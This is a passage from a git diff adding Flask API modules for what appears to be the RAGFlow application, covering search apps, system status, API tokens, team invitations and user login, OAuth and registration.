the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from flask import request +from flask_login import current_user, login_required + +from api import settings +from api.constants import DATASET_NAME_LIMIT +from api.db import StatusEnum +from api.db.db_models import DB +from api.db.services import duplicate_name +from api.db.services.search_service import SearchService +from api.db.services.user_service import TenantService, UserTenantService +from api.utils import get_uuid +from api.utils.api_utils import get_data_error_result, get_json_result, not_allowed_parameters, server_error_response, validate_request + + +@manager.route("/create", methods=["post"]) # noqa: F821 +@login_required +@validate_request("name") +def create(): + req = request.get_json() + search_name = req["name"] + description = req.get("description", "") + if not isinstance(search_name, str): + return get_data_error_result(message="Search name must be string.") + if search_name.strip() == "": + return get_data_error_result(message="Search name can't be empty.") + if len(search_name.encode("utf-8")) > 255: + return get_data_error_result(message=f"Search name length is {len(search_name)} which is large than 255.") + e, _ = TenantService.get_by_id(current_user.id) + if not e: + return get_data_error_result(message="Authorized identity.") + + search_name = search_name.strip() + search_name = duplicate_name(SearchService.query, name=search_name, tenant_id=current_user.id, status=StatusEnum.VALID.value) + + req["id"] = get_uuid() + req["name"] = search_name + req["description"] = description + req["tenant_id"] = current_user.id + req["created_by"] = current_user.id + with DB.atomic(): + try: + if not SearchService.save(**req): + return get_data_error_result() + return get_json_result(data={"search_id": req["id"]}) + except Exception as e: + return server_error_response(e) + + +@manager.route("/update", methods=["post"]) # noqa: F821 +@login_required +@validate_request("search_id", "name", "search_config", "tenant_id") +@not_allowed_parameters("id", "created_by", "create_time", "update_time", "create_date", "update_date", "created_by") +def update(): + req = request.get_json() + if not isinstance(req["name"], str): + return get_data_error_result(message="Search name must be string.") + if req["name"].strip() == "": + return get_data_error_result(message="Search name can't be empty.") + if len(req["name"].encode("utf-8")) > DATASET_NAME_LIMIT: + return get_data_error_result(message=f"Search name length is {len(req['name'])} which is large than {DATASET_NAME_LIMIT}") + req["name"] = req["name"].strip() + tenant_id = req["tenant_id"] + e, _ = TenantService.get_by_id(tenant_id) + if not e: + return get_data_error_result(message="Authorized identity.") + + search_id = req["search_id"] + if not SearchService.accessible4deletion(search_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + try: + search_app = SearchService.query(tenant_id=tenant_id, id=search_id)[0] + if not search_app: + return get_json_result(data=False, message=f"Cannot find search {search_id}", code=settings.RetCode.DATA_ERROR) + + if req["name"].lower() != search_app.name.lower() and len(SearchService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value)) >= 1: + return get_data_error_result(message="Duplicated search name.") + + if "search_config" in req: + current_config = search_app.search_config or {} + new_config = req["search_config"] + + if not isinstance(new_config, dict): + return get_data_error_result(message="search_config must be a JSON object") + + updated_config = {**current_config, **new_config} + req["search_config"] = updated_config + + req.pop("search_id", None) + req.pop("tenant_id", None) + + updated = SearchService.update_by_id(search_id, req) + if not updated: + return get_data_error_result(message="Failed to update search") + + e, updated_search = SearchService.get_by_id(search_id) + if not e: + return get_data_error_result(message="Failed to fetch updated search") + + return get_json_result(data=updated_search.to_dict()) + + except Exception as e: + return server_error_response(e) + + +@manager.route("/detail", methods=["GET"]) # noqa: F821 +@login_required +def detail(): + search_id = request.args["search_id"] + try: + tenants = UserTenantService.query(user_id=current_user.id) + for tenant in tenants: + if SearchService.query(tenant_id=tenant.tenant_id, id=search_id): + break + else: + return get_json_result(data=False, message="Has no permission for this operation.", code=settings.RetCode.OPERATING_ERROR) + + search = SearchService.get_detail(search_id) + if not search: + return get_data_error_result(message="Can't find this Search App!") + return get_json_result(data=search) + except Exception as e: + return server_error_response(e) + + +@manager.route("/list", methods=["POST"]) # noqa: F821 +@login_required +def list_search_app(): + keywords = request.args.get("keywords", "") + page_number = int(request.args.get("page", 0)) + items_per_page = int(request.args.get("page_size", 0)) + orderby = request.args.get("orderby", "create_time") + if request.args.get("desc", "true").lower() == "false": + desc = False + else: + desc = True + + req = request.get_json() + owner_ids = req.get("owner_ids", []) + try: + if not owner_ids: + # tenants = TenantService.get_joined_tenants_by_user_id(current_user.id) + # tenants = [m["tenant_id"] for m in tenants] + tenants = [] + search_apps, total = SearchService.get_by_tenant_ids(tenants, current_user.id, page_number, items_per_page, orderby, desc, keywords) + else: + tenants = owner_ids + search_apps, total = SearchService.get_by_tenant_ids(tenants, current_user.id, 0, 0, orderby, desc, keywords) + search_apps = [search_app for search_app in search_apps if search_app["tenant_id"] in tenants] + total = len(search_apps) + if page_number and items_per_page: + search_apps = search_apps[(page_number - 1) * items_per_page : page_number * items_per_page] + return get_json_result(data={"search_apps": search_apps, "total": total}) + except Exception as e: + return server_error_response(e) + + +@manager.route("/rm", methods=["post"]) # noqa: F821 +@login_required +@validate_request("search_id") +def rm(): + req = request.get_json() + search_id = req["search_id"] + if not SearchService.accessible4deletion(search_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + try: + if not SearchService.delete_by_id(search_id): + return get_data_error_result(message=f"Failed to delete search App {search_id}") + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/system_app.py b/api/apps/system_app.py new file mode 100644 index 0000000..fa2b5f1 --- /dev/null +++ b/api/apps/system_app.py @@ -0,0 +1,334 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License +# +import logging +from datetime import datetime +import json + +from flask_login import login_required, current_user + +from api.db.db_models import APIToken +from api.db.services.api_service import APITokenService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.user_service import UserTenantService +from api import settings +from api.utils import current_timestamp, datetime_format +from api.utils.api_utils import ( + get_json_result, + get_data_error_result, + server_error_response, + generate_confirmation_token, +) +from api.versions import get_ragflow_version +from rag.utils.storage_factory import STORAGE_IMPL, STORAGE_IMPL_TYPE +from timeit import default_timer as timer + +from rag.utils.redis_conn import REDIS_CONN +from flask import jsonify +from api.utils.health_utils import run_health_checks + +@manager.route("/version", methods=["GET"]) # noqa: F821 +@login_required +def version(): + """ + Get the current version of the application. + --- + tags: + - System + security: + - ApiKeyAuth: [] + responses: + 200: + description: Version retrieved successfully. + schema: + type: object + properties: + version: + type: string + description: Version number. + """ + return get_json_result(data=get_ragflow_version()) + + +@manager.route("/status", methods=["GET"]) # noqa: F821 +@login_required +def status(): + """ + Get the system status. + --- + tags: + - System + security: + - ApiKeyAuth: [] + responses: + 200: + description: System is operational. + schema: + type: object + properties: + es: + type: object + description: Elasticsearch status. + storage: + type: object + description: Storage status. + database: + type: object + description: Database status. + 503: + description: Service unavailable. + schema: + type: object + properties: + error: + type: string + description: Error message. + """ + res = {} + st = timer() + try: + res["doc_engine"] = settings.docStoreConn.health() + res["doc_engine"]["elapsed"] = "{:.1f}".format((timer() - st) * 1000.0) + except Exception as e: + res["doc_engine"] = { + "type": "unknown", + "status": "red", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + "error": str(e), + } + + st = timer() + try: + STORAGE_IMPL.health() + res["storage"] = { + "storage": STORAGE_IMPL_TYPE.lower(), + "status": "green", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + } + except Exception as e: + res["storage"] = { + "storage": STORAGE_IMPL_TYPE.lower(), + "status": "red", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + "error": str(e), + } + + st = timer() + try: + KnowledgebaseService.get_by_id("x") + res["database"] = { + "database": settings.DATABASE_TYPE.lower(), + "status": "green", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + } + except Exception as e: + res["database"] = { + "database": settings.DATABASE_TYPE.lower(), + "status": "red", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + "error": str(e), + } + + st = timer() + try: + if not REDIS_CONN.health(): + raise Exception("Lost connection!") + res["redis"] = { + "status": "green", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + } + except Exception as e: + res["redis"] = { + "status": "red", + "elapsed": "{:.1f}".format((timer() - st) * 1000.0), + "error": str(e), + } + + task_executor_heartbeats = {} + try: + task_executors = REDIS_CONN.smembers("TASKEXE") + now = datetime.now().timestamp() + for task_executor_id in task_executors: + heartbeats = REDIS_CONN.zrangebyscore(task_executor_id, now - 60*30, now) + heartbeats = [json.loads(heartbeat) for heartbeat in heartbeats] + task_executor_heartbeats[task_executor_id] = heartbeats + except Exception: + logging.exception("get task executor heartbeats failed!") + res["task_executor_heartbeats"] = task_executor_heartbeats + + return get_json_result(data=res) + + +@manager.route("/healthz", methods=["GET"]) # noqa: F821 +def healthz(): + result, all_ok = run_health_checks() + return jsonify(result), (200 if all_ok else 500) + + +@manager.route("/ping", methods=["GET"]) # noqa: F821 +def ping(): + return "pong", 200 + + +@manager.route("/new_token", methods=["POST"]) # noqa: F821 +@login_required +def new_token(): + """ + Generate a new API token. + --- + tags: + - API Tokens + security: + - ApiKeyAuth: [] + parameters: + - in: query + name: name + type: string + required: false + description: Name of the token. + responses: + 200: + description: Token generated successfully. + schema: + type: object + properties: + token: + type: string + description: The generated API token. + """ + try: + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + + tenant_id = [tenant for tenant in tenants if tenant.role == 'owner'][0].tenant_id + obj = { + "tenant_id": tenant_id, + "token": generate_confirmation_token(tenant_id), + "beta": generate_confirmation_token(generate_confirmation_token(tenant_id)).replace("ragflow-", "")[:32], + "create_time": current_timestamp(), + "create_date": datetime_format(datetime.now()), + "update_time": None, + "update_date": None, + } + + if not APITokenService.save(**obj): + return get_data_error_result(message="Fail to new a dialog!") + + return get_json_result(data=obj) + except Exception as e: + return server_error_response(e) + + +@manager.route("/token_list", methods=["GET"]) # noqa: F821 +@login_required +def token_list(): + """ + List all API tokens for the current user. + --- + tags: + - API Tokens + security: + - ApiKeyAuth: [] + responses: + 200: + description: List of API tokens. + schema: + type: object + properties: + tokens: + type: array + items: + type: object + properties: + token: + type: string + description: The API token. + name: + type: string + description: Name of the token. + create_time: + type: string + description: Token creation time. + """ + try: + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + + tenant_id = [tenant for tenant in tenants if tenant.role == 'owner'][0].tenant_id + objs = APITokenService.query(tenant_id=tenant_id) + objs = [o.to_dict() for o in objs] + for o in objs: + if not o["beta"]: + o["beta"] = generate_confirmation_token(generate_confirmation_token(tenants[0].tenant_id)).replace("ragflow-", "")[:32] + APITokenService.filter_update([APIToken.tenant_id == tenant_id, APIToken.token == o["token"]], o) + return get_json_result(data=objs) + except Exception as e: + return server_error_response(e) + + +@manager.route("/token/", methods=["DELETE"]) # noqa: F821 +@login_required +def rm(token): + """ + Remove an API token. + --- + tags: + - API Tokens + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: token + type: string + required: true + description: The API token to remove. + responses: + 200: + description: Token removed successfully. + schema: + type: object + properties: + success: + type: boolean + description: Deletion status. + """ + APITokenService.filter_delete( + [APIToken.tenant_id == current_user.id, APIToken.token == token] + ) + return get_json_result(data=True) + + +@manager.route('/config', methods=['GET']) # noqa: F821 +def get_config(): + """ + Get system configuration. + --- + tags: + - System + responses: + 200: + description: Return system configuration + schema: + type: object + properties: + registerEnable: + type: integer 0 means disabled, 1 means enabled + description: Whether user registration is enabled + """ + return get_json_result(data={ + "registerEnabled": settings.REGISTER_ENABLED + }) diff --git a/api/apps/tenant_app.py b/api/apps/tenant_app.py new file mode 100644 index 0000000..63c7f74 --- /dev/null +++ b/api/apps/tenant_app.py @@ -0,0 +1,138 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from flask import request +from flask_login import login_required, current_user + +from api import settings +from api.apps import smtp_mail_server +from api.db import UserTenantRole, StatusEnum +from api.db.db_models import UserTenant +from api.db.services.user_service import UserTenantService, UserService + +from api.utils import get_uuid, delta_seconds +from api.utils.api_utils import get_json_result, validate_request, server_error_response, get_data_error_result +from api.utils.web_utils import send_invite_email + + +@manager.route("//user/list", methods=["GET"]) # noqa: F821 +@login_required +def user_list(tenant_id): + if current_user.id != tenant_id: + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR) + + try: + users = UserTenantService.get_by_tenant_id(tenant_id) + for u in users: + u["delta_seconds"] = delta_seconds(str(u["update_date"])) + return get_json_result(data=users) + except Exception as e: + return server_error_response(e) + + +@manager.route('//user', methods=['POST']) # noqa: F821 +@login_required +@validate_request("email") +def create(tenant_id): + if current_user.id != tenant_id: + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR) + + req = request.json + invite_user_email = req["email"] + invite_users = UserService.query(email=invite_user_email) + if not invite_users: + return get_data_error_result(message="User not found.") + + user_id_to_invite = invite_users[0].id + user_tenants = UserTenantService.query(user_id=user_id_to_invite, tenant_id=tenant_id) + if user_tenants: + user_tenant_role = user_tenants[0].role + if user_tenant_role == UserTenantRole.NORMAL: + return get_data_error_result(message=f"{invite_user_email} is already in the team.") + if user_tenant_role == UserTenantRole.OWNER: + return get_data_error_result(message=f"{invite_user_email} is the owner of the team.") + return get_data_error_result(message=f"{invite_user_email} is in the team, but the role: {user_tenant_role} is invalid.") + + UserTenantService.save( + id=get_uuid(), + user_id=user_id_to_invite, + tenant_id=tenant_id, + invited_by=current_user.id, + role=UserTenantRole.INVITE, + status=StatusEnum.VALID.value) + + if smtp_mail_server and settings.SMTP_CONF: + from threading import Thread + + user_name = "" + _, user = UserService.get_by_id(current_user.id) + if user: + user_name = user.nickname + + Thread( + target=send_invite_email, + args=(invite_user_email, settings.MAIL_FRONTEND_URL, tenant_id, user_name or current_user.email), + daemon=True + ).start() + + usr = invite_users[0].to_dict() + usr = {k: v for k, v in usr.items() if k in ["id", "avatar", "email", "nickname"]} + + return get_json_result(data=usr) + + +@manager.route('//user/', methods=['DELETE']) # noqa: F821 +@login_required +def rm(tenant_id, user_id): + if current_user.id != tenant_id and current_user.id != user_id: + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR) + + try: + UserTenantService.filter_delete([UserTenant.tenant_id == tenant_id, UserTenant.user_id == user_id]) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route("/list", methods=["GET"]) # noqa: F821 +@login_required +def tenant_list(): + try: + users = UserTenantService.get_tenants_by_user_id(current_user.id) + for u in users: + u["delta_seconds"] = delta_seconds(str(u["update_date"])) + return get_json_result(data=users) + except Exception as e: + return server_error_response(e) + + +@manager.route("/agree/", methods=["PUT"]) # noqa: F821 +@login_required +def agree(tenant_id): + try: + UserTenantService.filter_update([UserTenant.tenant_id == tenant_id, UserTenant.user_id == current_user.id], {"role": UserTenantRole.NORMAL}) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/user_app.py b/api/apps/user_app.py new file mode 100644 index 0000000..f99b7c1 --- /dev/null +++ b/api/apps/user_app.py @@ -0,0 +1,827 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import re +import secrets +from datetime import datetime + +from flask import redirect, request, session +from flask_login import current_user, login_required, login_user, logout_user +from werkzeug.security import check_password_hash, generate_password_hash + +from api import settings +from api.apps.auth import get_auth_client +from api.db import FileType, UserTenantRole +from api.db.db_models import TenantLLM +from api.db.services.file_service import FileService +from api.db.services.llm_service import get_init_tenant_llm +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.user_service import TenantService, UserService, UserTenantService +from api.utils import ( + current_timestamp, + datetime_format, + download_img, + get_format_time, + get_uuid, +) +from api.utils.api_utils import ( + construct_response, + get_data_error_result, + get_json_result, + server_error_response, + validate_request, +) +from api.utils.crypt import decrypt + + +@manager.route("/login", methods=["POST", "GET"]) # noqa: F821 +def login(): + """ + User login endpoint. + --- + tags: + - User + parameters: + - in: body + name: body + description: Login credentials. + required: true + schema: + type: object + properties: + email: + type: string + description: User email. + password: + type: string + description: User password. + responses: + 200: + description: Login successful. + schema: + type: object + 401: + description: Authentication failed. + schema: + type: object + """ + if not request.json: + return get_json_result(data=False, code=settings.RetCode.AUTHENTICATION_ERROR, message="Unauthorized!") + + email = request.json.get("email", "") + users = UserService.query(email=email) + if not users: + return get_json_result( + data=False, + code=settings.RetCode.AUTHENTICATION_ERROR, + message=f"Email: {email} is not registered!", + ) + + password = request.json.get("password") + try: + password = decrypt(password) + except BaseException: + return get_json_result(data=False, code=settings.RetCode.SERVER_ERROR, message="Fail to crypt password") + + user = UserService.query_user(email, password) + + if user and hasattr(user, 'is_active') and user.is_active == "0": + return get_json_result( + data=False, + code=settings.RetCode.FORBIDDEN, + message="This account has been disabled, please contact the administrator!", + ) + elif user: + response_data = user.to_json() + user.access_token = get_uuid() + login_user(user) + user.update_time = (current_timestamp(),) + user.update_date = (datetime_format(datetime.now()),) + user.save() + msg = "Welcome back!" + return construct_response(data=response_data, auth=user.get_id(), message=msg) + else: + return get_json_result( + data=False, + code=settings.RetCode.AUTHENTICATION_ERROR, + message="Email and password do not match!", + ) + + +@manager.route("/login/channels", methods=["GET"]) # noqa: F821 +def get_login_channels(): + """ + Get all supported authentication channels. + """ + try: + channels = [] + for channel, config in settings.OAUTH_CONFIG.items(): + channels.append( + { + "channel": channel, + "display_name": config.get("display_name", channel.title()), + "icon": config.get("icon", "sso"), + } + ) + return get_json_result(data=channels) + except Exception as e: + logging.exception(e) + return get_json_result(data=[], message=f"Load channels failure, error: {str(e)}", code=settings.RetCode.EXCEPTION_ERROR) + + +@manager.route("/login/", methods=["GET"]) # noqa: F821 +def oauth_login(channel): + channel_config = settings.OAUTH_CONFIG.get(channel) + if not channel_config: + raise ValueError(f"Invalid channel name: {channel}") + auth_cli = get_auth_client(channel_config) + + state = get_uuid() + session["oauth_state"] = state + auth_url = auth_cli.get_authorization_url(state) + return redirect(auth_url) + + +@manager.route("/oauth/callback/", methods=["GET"]) # noqa: F821 +def oauth_callback(channel): + """ + Handle the OAuth/OIDC callback for various channels dynamically. + """ + try: + channel_config = settings.OAUTH_CONFIG.get(channel) + if not channel_config: + raise ValueError(f"Invalid channel name: {channel}") + auth_cli = get_auth_client(channel_config) + + # Check the state + state = request.args.get("state") + if not state or state != session.get("oauth_state"): + return redirect("/?error=invalid_state") + session.pop("oauth_state", None) + + # Obtain the authorization code + code = request.args.get("code") + if not code: + return redirect("/?error=missing_code") + + # Exchange authorization code for access token + token_info = auth_cli.exchange_code_for_token(code) + access_token = token_info.get("access_token") + if not access_token: + return redirect("/?error=token_failed") + + id_token = token_info.get("id_token") + + # Fetch user info + user_info = auth_cli.fetch_user_info(access_token, id_token=id_token) + if not user_info.email: + return redirect("/?error=email_missing") + + # Login or register + users = UserService.query(email=user_info.email) + user_id = get_uuid() + + if not users: + try: + try: + avatar = download_img(user_info.avatar_url) + except Exception as e: + logging.exception(e) + avatar = "" + + users = user_register( + user_id, + { + "access_token": get_uuid(), + "email": user_info.email, + "avatar": avatar, + "nickname": user_info.nickname, + "login_channel": channel, + "last_login_time": get_format_time(), + "is_superuser": False, + }, + ) + + if not users: + raise Exception(f"Failed to register {user_info.email}") + if len(users) > 1: + raise Exception(f"Same email: {user_info.email} exists!") + + # Try to log in + user = users[0] + login_user(user) + return redirect(f"/?auth={user.get_id()}") + + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + return redirect(f"/?error={str(e)}") + + # User exists, try to log in + user = users[0] + user.access_token = get_uuid() + if user and hasattr(user, 'is_active') and user.is_active == "0": + return redirect("/?error=user_inactive") + + login_user(user) + user.save() + return redirect(f"/?auth={user.get_id()}") + except Exception as e: + logging.exception(e) + return redirect(f"/?error={str(e)}") + + +@manager.route("/github_callback", methods=["GET"]) # noqa: F821 +def github_callback(): + """ + **Deprecated**, Use `/oauth/callback/` instead. + + GitHub OAuth callback endpoint. + --- + tags: + - OAuth + parameters: + - in: query + name: code + type: string + required: true + description: Authorization code from GitHub. + responses: + 200: + description: Authentication successful. + schema: + type: object + """ + import requests + + res = requests.post( + settings.GITHUB_OAUTH.get("url"), + data={ + "client_id": settings.GITHUB_OAUTH.get("client_id"), + "client_secret": settings.GITHUB_OAUTH.get("secret_key"), + "code": request.args.get("code"), + }, + headers={"Accept": "application/json"}, + ) + res = res.json() + if "error" in res: + return redirect("/?error=%s" % res["error_description"]) + + if "user:email" not in res["scope"].split(","): + return redirect("/?error=user:email not in scope") + + session["access_token"] = res["access_token"] + session["access_token_from"] = "github" + user_info = user_info_from_github(session["access_token"]) + email_address = user_info["email"] + users = UserService.query(email=email_address) + user_id = get_uuid() + if not users: + # User isn't try to register + try: + try: + avatar = download_img(user_info["avatar_url"]) + except Exception as e: + logging.exception(e) + avatar = "" + users = user_register( + user_id, + { + "access_token": session["access_token"], + "email": email_address, + "avatar": avatar, + "nickname": user_info["login"], + "login_channel": "github", + "last_login_time": get_format_time(), + "is_superuser": False, + }, + ) + if not users: + raise Exception(f"Fail to register {email_address}.") + if len(users) > 1: + raise Exception(f"Same email: {email_address} exists!") + + # Try to log in + user = users[0] + login_user(user) + return redirect("/?auth=%s" % user.get_id()) + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + return redirect("/?error=%s" % str(e)) + + # User has already registered, try to log in + user = users[0] + user.access_token = get_uuid() + if user and hasattr(user, 'is_active') and user.is_active == "0": + return redirect("/?error=user_inactive") + login_user(user) + user.save() + return redirect("/?auth=%s" % user.get_id()) + + +@manager.route("/feishu_callback", methods=["GET"]) # noqa: F821 +def feishu_callback(): + """ + Feishu OAuth callback endpoint. + --- + tags: + - OAuth + parameters: + - in: query + name: code + type: string + required: true + description: Authorization code from Feishu. + responses: + 200: + description: Authentication successful. + schema: + type: object + """ + import requests + + app_access_token_res = requests.post( + settings.FEISHU_OAUTH.get("app_access_token_url"), + data=json.dumps( + { + "app_id": settings.FEISHU_OAUTH.get("app_id"), + "app_secret": settings.FEISHU_OAUTH.get("app_secret"), + } + ), + headers={"Content-Type": "application/json; charset=utf-8"}, + ) + app_access_token_res = app_access_token_res.json() + if app_access_token_res["code"] != 0: + return redirect("/?error=%s" % app_access_token_res) + + res = requests.post( + settings.FEISHU_OAUTH.get("user_access_token_url"), + data=json.dumps( + { + "grant_type": settings.FEISHU_OAUTH.get("grant_type"), + "code": request.args.get("code"), + } + ), + headers={ + "Content-Type": "application/json; charset=utf-8", + "Authorization": f"Bearer {app_access_token_res['app_access_token']}", + }, + ) + res = res.json() + if res["code"] != 0: + return redirect("/?error=%s" % res["message"]) + + if "contact:user.email:readonly" not in res["data"]["scope"].split(): + return redirect("/?error=contact:user.email:readonly not in scope") + session["access_token"] = res["data"]["access_token"] + session["access_token_from"] = "feishu" + user_info = user_info_from_feishu(session["access_token"]) + email_address = user_info["email"] + users = UserService.query(email=email_address) + user_id = get_uuid() + if not users: + # User isn't try to register + try: + try: + avatar = download_img(user_info["avatar_url"]) + except Exception as e: + logging.exception(e) + avatar = "" + users = user_register( + user_id, + { + "access_token": session["access_token"], + "email": email_address, + "avatar": avatar, + "nickname": user_info["en_name"], + "login_channel": "feishu", + "last_login_time": get_format_time(), + "is_superuser": False, + }, + ) + if not users: + raise Exception(f"Fail to register {email_address}.") + if len(users) > 1: + raise Exception(f"Same email: {email_address} exists!") + + # Try to log in + user = users[0] + login_user(user) + return redirect("/?auth=%s" % user.get_id()) + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + return redirect("/?error=%s" % str(e)) + + # User has already registered, try to log in + user = users[0] + if user and hasattr(user, 'is_active') and user.is_active == "0": + return redirect("/?error=user_inactive") + user.access_token = get_uuid() + login_user(user) + user.save() + return redirect("/?auth=%s" % user.get_id()) + + +def user_info_from_feishu(access_token): + import requests + + headers = { + "Content-Type": "application/json; charset=utf-8", + "Authorization": f"Bearer {access_token}", + } + res = requests.get("https://open.feishu.cn/open-apis/authen/v1/user_info", headers=headers) + user_info = res.json()["data"] + user_info["email"] = None if user_info.get("email") == "" else user_info["email"] + return user_info + + +def user_info_from_github(access_token): + import requests + + headers = {"Accept": "application/json", "Authorization": f"token {access_token}"} + res = requests.get(f"https://api.github.com/user?access_token={access_token}", headers=headers) + user_info = res.json() + email_info = requests.get( + f"https://api.github.com/user/emails?access_token={access_token}", + headers=headers, + ).json() + user_info["email"] = next((email for email in email_info if email["primary"]), None)["email"] + return user_info + + +@manager.route("/logout", methods=["GET"]) # noqa: F821 +@login_required +def log_out(): + """ + User logout endpoint. + --- + tags: + - User + security: + - ApiKeyAuth: [] + responses: + 200: + description: Logout successful. + schema: + type: object + """ + current_user.access_token = f"INVALID_{secrets.token_hex(16)}" + current_user.save() + logout_user() + return get_json_result(data=True) + + +@manager.route("/setting", methods=["POST"]) # noqa: F821 +@login_required +def setting_user(): + """ + Update user settings. + --- + tags: + - User + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: User settings to update. + required: true + schema: + type: object + properties: + nickname: + type: string + description: New nickname. + email: + type: string + description: New email. + responses: + 200: + description: Settings updated successfully. + schema: + type: object + """ + update_dict = {} + request_data = request.json + if request_data.get("password"): + new_password = request_data.get("new_password") + if not check_password_hash(current_user.password, decrypt(request_data["password"])): + return get_json_result( + data=False, + code=settings.RetCode.AUTHENTICATION_ERROR, + message="Password error!", + ) + + if new_password: + update_dict["password"] = generate_password_hash(decrypt(new_password)) + + for k in request_data.keys(): + if k in [ + "password", + "new_password", + "email", + "status", + "is_superuser", + "login_channel", + "is_anonymous", + "is_active", + "is_authenticated", + "last_login_time", + ]: + continue + update_dict[k] = request_data[k] + + try: + UserService.update_by_id(current_user.id, update_dict) + return get_json_result(data=True) + except Exception as e: + logging.exception(e) + return get_json_result(data=False, message="Update failure!", code=settings.RetCode.EXCEPTION_ERROR) + + +@manager.route("/info", methods=["GET"]) # noqa: F821 +@login_required +def user_profile(): + """ + Get user profile information. + --- + tags: + - User + security: + - ApiKeyAuth: [] + responses: + 200: + description: User profile retrieved successfully. + schema: + type: object + properties: + id: + type: string + description: User ID. + nickname: + type: string + description: User nickname. + email: + type: string + description: User email. + """ + return get_json_result(data=current_user.to_dict()) + + +def rollback_user_registration(user_id): + try: + UserService.delete_by_id(user_id) + except Exception: + pass + try: + TenantService.delete_by_id(user_id) + except Exception: + pass + try: + u = UserTenantService.query(tenant_id=user_id) + if u: + UserTenantService.delete_by_id(u[0].id) + except Exception: + pass + try: + TenantLLM.delete().where(TenantLLM.tenant_id == user_id).execute() + except Exception: + pass + + +def user_register(user_id, user): + user["id"] = user_id + tenant = { + "id": user_id, + "name": user["nickname"] + "‘s Kingdom", + "llm_id": settings.CHAT_MDL, + "embd_id": settings.EMBEDDING_MDL, + "asr_id": settings.ASR_MDL, + "parser_ids": settings.PARSERS, + "img2txt_id": settings.IMAGE2TEXT_MDL, + "rerank_id": settings.RERANK_MDL, + } + usr_tenant = { + "tenant_id": user_id, + "user_id": user_id, + "invited_by": user_id, + "role": UserTenantRole.OWNER, + } + file_id = get_uuid() + file = { + "id": file_id, + "parent_id": file_id, + "tenant_id": user_id, + "created_by": user_id, + "name": "/", + "type": FileType.FOLDER.value, + "size": 0, + "location": "", + } + + tenant_llm = get_init_tenant_llm(user_id) + + if not UserService.save(**user): + return + TenantService.insert(**tenant) + UserTenantService.insert(**usr_tenant) + TenantLLMService.insert_many(tenant_llm) + FileService.insert(file) + return UserService.query(email=user["email"]) + + +@manager.route("/register", methods=["POST"]) # noqa: F821 +@validate_request("nickname", "email", "password") +def user_add(): + """ + Register a new user. + --- + tags: + - User + parameters: + - in: body + name: body + description: Registration details. + required: true + schema: + type: object + properties: + nickname: + type: string + description: User nickname. + email: + type: string + description: User email. + password: + type: string + description: User password. + responses: + 200: + description: Registration successful. + schema: + type: object + """ + + if not settings.REGISTER_ENABLED: + return get_json_result( + data=False, + message="User registration is disabled!", + code=settings.RetCode.OPERATING_ERROR, + ) + + req = request.json + email_address = req["email"] + + # Validate the email address + if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", email_address): + return get_json_result( + data=False, + message=f"Invalid email address: {email_address}!", + code=settings.RetCode.OPERATING_ERROR, + ) + + # Check if the email address is already used + if UserService.query(email=email_address): + return get_json_result( + data=False, + message=f"Email: {email_address} has already registered!", + code=settings.RetCode.OPERATING_ERROR, + ) + + # Construct user info data + nickname = req["nickname"] + user_dict = { + "access_token": get_uuid(), + "email": email_address, + "nickname": nickname, + "password": decrypt(req["password"]), + "login_channel": "password", + "last_login_time": get_format_time(), + "is_superuser": False, 